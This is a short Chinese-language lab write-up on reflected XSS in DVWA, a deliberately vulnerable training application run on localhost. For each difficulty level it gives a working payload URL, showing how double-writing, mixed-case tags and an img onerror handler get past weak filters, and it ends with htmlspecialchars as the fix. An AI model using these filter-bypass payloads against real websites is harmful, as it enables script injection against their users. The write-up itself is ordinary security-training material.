dvwa-反射型xss
1、低级别
查看服务端代码提示,即直接echo将参数输出到pre标签中。
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=az%3Cscript%3Ealert(/xss/)%3C/script%3E
2、中级别
查看服务端代码提示,使用了str_replace函数对参数进行过滤,将<script>替代为””。
解决:由于代码只进行了一次替换,因此可以双写绕过,且该处还可以大小写混杂绕过。
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=zz%3CScript%3Ealert(123)%3C/sCript%3E#
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=zz%3Cscri%3Cscript%3Ept%3Ealert(/xss/)%3C/script%3E#
3、高级别
查看服务端代码提示,使用了preg_replace函数进行正则过滤,限制了script标签。
解决:使用其他标签即可,比如img
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=zz%3Cimg%20src=1%20onerror=alert(/xss/)%3E#
4、不可能级别
查看服务端代码提示,使用了htmlspecialchars函数对参数进行实体编码,几乎可以确保反射型xss无法存在